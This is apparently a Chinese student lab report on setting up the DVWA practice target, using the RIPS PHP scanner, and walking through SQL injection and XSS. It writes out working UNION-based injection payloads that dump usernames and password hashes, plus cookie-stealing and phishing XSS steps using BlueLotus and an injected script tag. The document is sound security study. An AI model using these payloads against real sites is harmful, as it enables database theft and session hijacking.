实验一 静态代码编码规范审计实验

实验一 静态代码编码规范审计实验

一、PHPstudy 搭建 DVWA

DVWA 是 OWASP 官方编写的 PHP 网站,包含了各种网站常见漏洞,可以学习攻击及修复方式。一个好的靶场,是黑客和网络安全从业者最方便和安全的磨刀石。接下来我们来谈一谈如何安装DVWA。
  1. 下载 PHPStudy,解压。(下载的时候,和安装 XAMPP 一样,不要安装到 C 盘。这个只对于没有单独安装Apache、Mysql、php 的同学可以安装,因为没有端口冲突。如果安装了其中的一个,需要自己手动配置,比较麻烦。)在这里插入图片描述

点击启动,当显示为绿色就代表没有问题。红色就代表不能正常运行,有可能是端口号发生了冲突。
在这里插入图片描述

  1. 然后在 PHPstudy 的环境中搭建 DVWA 的靶场。点开 phpstudy 的安装目录,到 PHPTutorial 文件夹中的 www 文件夹。然后将下载好的 DVWA 复制到 www 文件夹当中。
    在这里插入图片描述

  2. 然后在网址中输入 127.0.0.1/DVWA — master 访问。(注意,如果下载的文件名字是 DVWA ,不是 master,那么我们输入 127.0.0.1/DVWA 就可以了)
    在这里插入图片描述

  3. 将后缀名 .dist 删掉
    在这里插入图片描述

成为这样
在这里插入图片描述

我们接着再次访问刚刚输入的地址就会发现,成功访问 DVWA
在这里插入图片描述

  1. 我们会发现,需要创建一个数据库,直接点击创建会提示无法创建数据库
    在这里插入图片描述

找到刚才删掉后缀".dist"的文件,打开并修改配置
在这里插入图片描述
在这里插入图片描述

  1. 再次点击创建数据库,会提示创建成功,并跳转到登录页面在这里插入图片描述

  2. 登录 DVWA。默认账号为 admin,默认密码为 password

  3. 登陆成功,对于初学者来说,一定要修改靶场难度。
    在这里插入图片描述

ok,DVWA 在 phpstudy 上的搭建我们就完成了,这些是2022年末的时候搭建的,我们来看如何在 WampServer 上搭建 DVWA。

二、WampServer搭建DVWA

https://blog.csdn.net/qq_59611876/article/details/128924681(如果没有环境请看我这篇笔记)

1、在 WampServer 安装路径 www 文件夹下创建环境所需文件夹image-20230401093843756

2、在我的电脑中按照这个路径,找到一个文件

C:\Windows\System32\drivers\etc

image-20230207162252226

image-20230401093713459

测试,连接成功image-20230401102311848

  1. 在相应的文件中配置虚拟主机
E:\Wamp\wamp\bin\apache\apache2.4.9\conf

image-20230401102548480

  1. 复制粘贴这段代码到末尾

    <VirtualHost *:80>
    	ServerName www.d.com
    		DocumentRoot "E:/Wamp/wamp/www/www.d.com"
    		<Directory "E:/Wamp/wamp/www/www.d.com">
    		Order Deny,Allow
    		Allow from all
    		</Directory>
    	#给默认的首页
    	Options Indexes FollowSymLinks
    </VirtualHost>
    

    image-20230401103623454

    需要注意的是,因为我的 WampServer 安装在 E 盘,所以只需把路径中的盘符修改为自己安装的位置即可,其他的无需修改。在www.d.com文件中创立一个测试文件

    image-20230401103842813

    在网址中输入www.d.com

    image-20230401103723561

    测试成功。

  2. 将 DVWA 中所有的文件解压缩到 www.d.com 文件夹中image-20230401104409568

再来配置环境,image-20230401104743436

输入www.d.com,可以成功访问dvwa,然后创建数据库

image-20230401105739256

发现有报错,然后发现一片飘红,我们打开 WampServer 桌面右下角,PHP→phpsetting→把 PHP function allow_url_include 勾选,然偶刷新。

然后再打开config文件

E:\Wamp\wamp\www\www.d.com\config

image-20230401110601593

$_DVWA[ 'recaptcha_public_key' ]  = '6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb';
$_DVWA[ 'recaptcha_private_key' ] = '6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K';

三、RIPS的介绍与安装

1、RIPS的介绍

RIPS用于 PHP 脚本漏洞的静态源代码分析器

RIPS 是最流行的静态代码分析工具,可自动检测 PHP 应用程序中的漏洞。通过对所有源代码文件进行标记和解析,RIPS 能够将 PHP 源代码转换为程序模型,并检测在程序流程中可能被用户输入(受恶意用户影响)污染的敏感接收器(可能存在漏洞的函数)。除了发现漏洞的结构化输出之外,RIPS 还提供了一个集成的代码审计框架.

使用了静态分析技术,能够自动化地挖掘PHP源代码潜在的安全漏洞如XSS ,SQL注入,敏感信息泄漏,文件包含等常见漏洞;也可以采用正则方式扫描代码发现漏洞;还能够采用自定义的语法扫描代码发现问题。渗透测试人员可以直接容易的审阅分析结果,而不用审阅整个程序代码。当然,最后去校验结果必须是我们自己去做.

RIPS 能够检测 XSS, SQL 注入, 文件泄露, Header Injection 漏洞等等

可以实现跨文件的变量和函数追踪 误报率很低

2、RIPS的安装

  1. image-20230401141419407

  2. 将下载好的 RIPS 压缩到此文件夹中image-20230401141614603

  3. 在网站中输入

    http://www.d.com/RIPS/
    

    image-20230401141727461

    ok,访问成功。

3、RIPS使用说明

image-20230401143014164

如上图,是RIPS的主界面

​ **源码的绝对路径:**待扫描代码的文件地址;

​ **扫描子目录:**是否对代码的子目录进行扫描,勾选将会扫描子目录,不勾选只扫描当前目录下的PHP文件;

​ **扫描级别:**选择source点,即可控制的输入点,定义在rips下config/sources.php中;

image-20230401145534654

​ **漏洞类型:**选择sink点,即可能会触发各种风险的函数,定义在rips下config/sinks.php中;

image-20230401145555869

​ **扫描:**选择好前面的选项,点击该按钮即可开始扫描;

​ **代码样式:**扫描结果的展示方式;

image-20230401145659792

​ **正则表达式:**要搜索内容的正则表达式;

​ **查找:**根据正则表达式对全局代码进行搜索;

案例:

我们扫描刚刚创建好的目录

E:\Wamp\wamp\www\www.d.com

image-20230401144159625

扫描结果如下图所示,漏洞类型以及数量都在其中有显示。image-20230401144307324

左上角各类型功能说明image-20230401145044020

四、典型漏洞分析(SQL注入和XSS)

4-1 SQL注入漏洞基础–DVWA-LOW级别

声明!!!本教程仅限于网络安全学习,严禁用于非法途径。若因此作出任何危害网络安全行为后果自负,与本人无关。

4-1-1 SQL注入的原理

只要这个程序是人写的,那么一定会存在SQL注入的点。当Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

4-1-2 SQL注入的本质

​ 把用户输入的数据当做代码来执行,违背了“数据与代码分离”的原则

4-1-3 SQL注入的两个关键点

1、用户能够控制输入的内容;

2、Web应用把用户输入的内容带入到数据库中执行

4-1-4 SQL注入的危害

  1. 盗取网站的敏感信息

  2. 绕过网站后台认证

  3. 后台登录语句
    	SELECT * FROM admin WHERE username = 'user' and password = 'pass'
    万能密码
    	'or '1' = '1' #
    
  4. 借助SQL注入漏洞提权获取系统权限

  5. 读取文件信息

4-1-5 SQL注入的分类

  1. 根据注入位置分类:GET型、POST型、Head头注入
  2. 根据反馈结果分类:有回显(显错注入)、无回显(盲注)
  3. 根据数据类型分类:
    • 数字型:输入的参数为整型,如id、年龄、页码等
    • 字符型:输入的参数为字符串
  4. 数字型与字符型最大的区别在于:数字型不需要单引号闭合,而字符串型一般需要单引号闭合。

4-1-6 SQL注入的流程

  1. 查询数据库类型
  2. 查询当前系统所使用的数据库名称是什么
  3. 查询当前数据库的表有什么
  4. 查询想要的信息内容

4-1-7 Low SQL Injection 注入

  1. 查看 源码我们会发现,定义了一个id,并且通过下述代码可以发现,Low级别没有对参数 id进行过滤,直接拼接到SQL语句中,存在明显的SQL注入漏洞。

    image-20221214224833493

    随便输入一串字符串,比如1asd,

    • 若无报错,说明是字符型,无闭合或 )闭合
    • 若有报错,说明是数字型,在判断闭合方式,’ " ') ")
  2. 输入没报错,我们再输入一个单引号判断闭合方式,发现报错

    image-20221215080450655

    提示了两个信息,数据库类型是Mysql,闭合方式我们知道是单引号。这就是有回显注入,有错误信息提示。

    本来是
    	select * from 表名 where id = '1asd'  可以被识别到
    我们加一个单引号之后变成了
    	select * from 表名 where id = '1asd' '  无法识别,因此会报错
    
  3. 我们输入
    	 0' or 1 =1#
    会发现显示了所有的数据
    

    image-20221215081951603

  4. 猜测字段数

    1' order by 字段数 #
    随便输入,用二分法思想找确定字段数,最终可以确定字段数为2。虽然不输入也会显示两个字段,但是前端显示的和后端其实是不一样的。
    

image-20221215225525504

  1. 判断列数及回显位

    union关键字,联合查询,就是把两个select语句合并为一条语句,显示为一个结果。联合查询下,两个select一定要相同字段数量。
    比如说:
    	select * from users
    	select * from books
    变成一条后,就成为了
    	select * from users union select * from books
    	
    我们输入
    	1' union select 1,database()#
    知道了数据库的名称为dvwa,接下来我们需要知道更多关于这个数据库的信息。
    

    image-20221215231019678

  2. 查询表

    information_schema查询表名
    我们输入
    	0' union select 1,table_name from information_schema.tables where table_schema = 'dvwa
    

    image-20221215232223774

    我们可以知道,表名为guestbook和users。

  3. 查询指定表的字段信息

    information_schema查询字段信息
    我们输入
    	0' union select 1,column_name from information_schema.columns where table_name='users
    

    这样我们就得到了users表全部字段信息

    image-20221216070900756

    但是我们想要在一行显示出来,我们对输入的语句进行优化:

    0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users
    

    所有数据就会在一行显示出来

    image-20221216071211255

  4. 查询想要的信息内容

    我们输入
    	0' union select user,password from users#
    

    image-20221216071830461

    到此为止我们就获取到了全部的用户名和密码。但是密码我们发现是加密的,由于是MySQL数据库,因此我们知道加密方式为MD5,复制加密的密码,浏览器搜索MD5在线解压,即可获得解密后的密码。

    我们以第一个为例,得知密码为password

    image-20221216072440517

4-2 XSS漏洞

4-2-1 什么是XSS?

  • XSS(Cross Site Scripting):跨站脚本攻击,为了不和层叠样式表(Cascading Style Sheets)的缩写CSS混合,所以改名为XSS 。
  • XSS原理:攻击者在网页中嵌入客户端脚本(通常是JavaScript的恶意脚本),当用户使用浏览器加载被嵌入恶意代码的网页时,恶意脚本代码就会在用户的浏览器执行,造成跨站脚本攻击。

4-2-2 XSS的危害

  • 盗取Cookie
  • 网络钓鱼
  • 植马挖矿
  • 刷流量
  • 劫持后台
  • 篡改页面
  • 内网扫描
  • 制造蠕虫等image-20221216163322371

4-2-3 XSS常出现的场景

  • 重灾区:评论区、留言区、个人信息、订单信息等
  • 针对型: 站内信、网页即时通讯、私信、意见反馈
  • 存在风险:搜索框、当前目录、图片属性等

所以将来在工作中我们应该重点关注这些容易遭到攻击的地方。

4-2-4 XSS的分类

  • 反射型XSS

  • 存储型XSS

  • DOM型XSS

  1. 反射型XSS:
    • 反射型XSS是非持久性、参数型的跨站脚本,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。
    • 出现场景:多出现在搜索框或者输入框。

image-20221216163948297

反射型XSS利用流程:

image-20221216164047384

  1. 存储型XSS:

    • 恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性。
    • 比较常见的场景是,黑客写下一篇包含有恶意JavaScript代码的博客文章,文章发表后,所有访问该博客的用户,都会在他们的浏览器中执行这段恶意js代码。

    image-20221216164305836

  2. DOM型XSS:

    • DOM,全称Document 0bject Model(文档对象模型),是W3C推荐的一种独立于平台和语言的标准,定义了访问HTML和XML文档的标准。

    • Dom即window对象下内置的document对象。

      image-20221216164516432

    DOM-XSS简单去理解就是输出点在DOM,属于特殊的反射型XSS

    image-20221216164624943

    常用的DOM方法:

    image-20221216164706504

4-2-5 三种类型的比较

XSS型存储型反射型DOM型
触发过程1、黑客构造xSS脚本 2、正常用户访问携带XSS脚本的页面正常用户访问携带XSS脚本的URL正常用户访问携带XSS脚本的URL
数据存储服务器URLURL
谁来输出后端Web应用程序后端Web应用程序前端JavaScript
输出位置HTTP响应中HTTP响应中动态构造的DOM节点中
是否持久

4-2-6 利用BLUE-LOTUS平台进行XSS攻击

BLUE-LOTUS是清华大学蓝莲花战队搭建的一个开源XSS平台,可以利用XSS漏洞窃取cookie、后台增删改文章、钓鱼、利用XSS漏洞进行传播、修改网页代码、网站重定向、获取用户信息等。

蓝莲花的安装:

  1. 将下载好的BlueLotus放到phpstudy中的phptutorial下的www文件夹中image-20221217182306873
  2. 输入127.0.0.1/BlueLotus访问蓝莲花平台,点击安装,然后提交,输入默认密码,进入平台

image-20221217182502117

  1. 这就是蓝莲花平台

  2. image-20221217182724264

  3. 按照以下步骤操作,复制生成的payload,到输入框

    image-20221217183622772

  4. 然后我们在后台就获得到了dvwa靶场的cookie,我们可以利用它直接登录。

    image-20221217184335190

4-2-7 漏洞钓鱼

利用XSS漏洞,可以修改网站的链接,让用户访问伪装成正常网站的恶意网站。比如,可以利用flash钓鱼。将项目源码放到web网站里,修改flash.js第10行的链接为项目的首页链接,然后在漏洞处插入payload。

  1. 我们将flash下载好,放到放到phpstudy中的phptutorial下的www文件夹中。

  2. image-20221217185322692

    image-20221217185406461

  3. 然后在DVWA靶场中(反射型XSS,low级别)输入:

    <script src=http://127.0.0.1/flash/flash.js>
    

    就会出现一个弹窗,然后就会来到flah网站下载页面

    image-20221217185625176

    image-20221217185642075

    所以不清楚的链接不要随便点击!!!

五、实验结和感想。

1、通过本次实验,学会了用不同平台搭建DVWA靶场,并及时处理遇到的问题,比如端口冲突如何解决、DVWA乱码等等问题。

2、初步掌握RIPS原理、界面、以及各种功能的使用,在后续的学习中,需要利用各种代码审计的工具来进行源代码审计。

3、在去年的网安冬令营学到的知识的基础上进行总结分析,重点分析、回顾了SQL注入与XSS两种典型漏洞

网安的水很深,需要学习的东西太多太多,要想不被时代抛弃,我们只能不断的进行学习,活到老学到老。

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

为了孩子他娘而奋斗

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值